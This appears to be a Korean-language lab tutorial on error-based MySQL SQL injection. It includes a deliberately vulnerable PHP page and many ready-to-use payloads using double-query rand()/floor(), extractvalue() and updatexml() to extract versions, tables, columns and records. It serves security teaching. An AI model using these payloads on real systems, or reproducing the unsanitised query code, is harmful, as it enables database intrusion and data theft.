MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())
소스코드 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?php
if(!$link = mysql_connect('localhost', 'root', 'root')) {
echo 'Could not connect to mysql';
exit;
}
if (!mysql_select_db('northwind', $link)){
echo 'Could not select database';
exit;
}
$_empid = $_GET['empid'];
$sql = 'SELECT * FROM Employees WHERE employeeid=' . $_empid;
$result = mysql_query($sql, $link);
if(!$result){
echo "db error, could not query the database\n";
echo 'MySQL error: '.mysql_Error();
exit;
}
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td><td>Hire Date</td>\n\t</tr>";
while($row = mysql_fetch_assoc($result)){
print "\t<tr>\n\t\t<td>".$row['EmployeeID']."</td><td>".$row['FirstName']."</td><td>".$row['Title']."</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
}
print "</table>\n";
mysql_free_result($result);
?>
|
cs |
- http://192.168.1.46/empinfo_id.php?empid=1
싱글쿼터 주입 시 에러 발생
- http://192.168.1.46/empinfo_id.php?empid=1%27
Double Query 방식
Double Query 방식으로 오류를 발생시켜 진행되는지 확인해 본다.
Payload : 1 and 1=(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b)%23
- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(select%20count(*)%20from(select%20count(*),%20concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%23
데이터베이스 버전이 출력이 이루어졌음으로 다음으로는 limit, offset 사용과 함께 [테이블 추출]해본다.
offset 값을 변경하여 하나씩 추출하면 된다.
Payload : 1 and 1=(select a from(select count(*), concat((select table_name from information_schema.tables where table_type='base table' limit 1 offset 0), floor(rand(0)*2))a from information_schema.tables group by a)b)%23
[칼럼 추출]
Payload : 1 and 1=(select a from(select count(*), concat((select column_name from information_schema.columns where table_name='Employees' limit 1 offset 0), floor(rand(0)*2))a from information_schema.columns group by a)b)%23
[데이터 추출]할 시엔 Null 값에 유의하면 MySQL에선 ifnull 함수를 사용하여 Null이 존재할 시에 치환을 해주며 concat으로 여러 데이터를 한번에 뽑아 준다.
Payload : 1 and 1=(select a from(select count(*), concat((select concat(ifnull(EmployeeID,''),ifnull(FirstName,'')) from Employees limit 1 offset 0), floor(rand(0)*2))a from Employees group by a)b)%23
XML 내장함수
XML 내장함수에서 에러가 발생할 시 원인이 되는 XPATH 구문이 노출되는 형식이며 XPATH 구문에서 데이터를 획득하는 방법이다.
내장함수 중 extractvalue를 이용하여 진행이 가능한지 확인해본다.
Payload : 1 and 1=(extractvalue(1,concat(0x2c,version())))%23
- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(extractvalue(1,concat(0x2c,version())))%23
버전이 출력이 이루어 졌으므로 [테이블 정보]를 추출해본다.
Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 2))))%23
싱글쿼터 필터링이 존재할시 엔 substring, substr로도 출력이 가능하다.
Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2))))%23
[칼럼 추출]
Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2))))%23
[데이터 추출] (concat(), concat_ws() 둘다 사용 가능)
Payload : 1 and 1=(extractvalue(1, concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2))))%23
XML 내장함수 같은 경우 에러가 출력되는 길이가 32길이로 제한이 존재한다. 그래서 데이터가 길때는 짤려서 나옴으로 substr(), substring()함수로 여러번 분할해서 출력을 해준다.
Payload1 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2))))%23
Payload2 : 1 and 1=(extractvalue(1, concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),33,32) from Employees limit 1 offset 2))))%23
updatexml 내장함수도 같은 형식으로 이루어진다.
가능한 여부의 확인방법은 아래와 같이 이루어지며 진행이 가능하면은 같은 Payload를 삽입하여 진행한다.
Payload : 1 and 1=(updatexml(1,concat(0x2c,version()),1))%23
- http://192.168.1.46/empinfo_id.php?empid=1%20and%201=(updatexml(1,concat(0x2c,version()),1))%23
Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where table_type='base table' limit 1 offset 1)),1))%23 Payload : (updatexml(1,concat(0x2c,(select table_name from information_schema.tables where substr(table_type,1,1)=(0x62) limit 1 offset 2)),1))%23 |
Payload : (updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='Employees' limit 1 offset 2)),1))%23 |
Payload : (updatexml(1,concat(0x2c,(select concat(EmployeeID,0x2c,FirstName) from Employees limit 1 offset 2)),1))%23 Payload : (updatexml(1,concat(0x2c,(select substr(concat_ws(0x2c,EmployeeID,FirstName,Title),1,32) from Employees limit 1 offset 2)),1))%23 |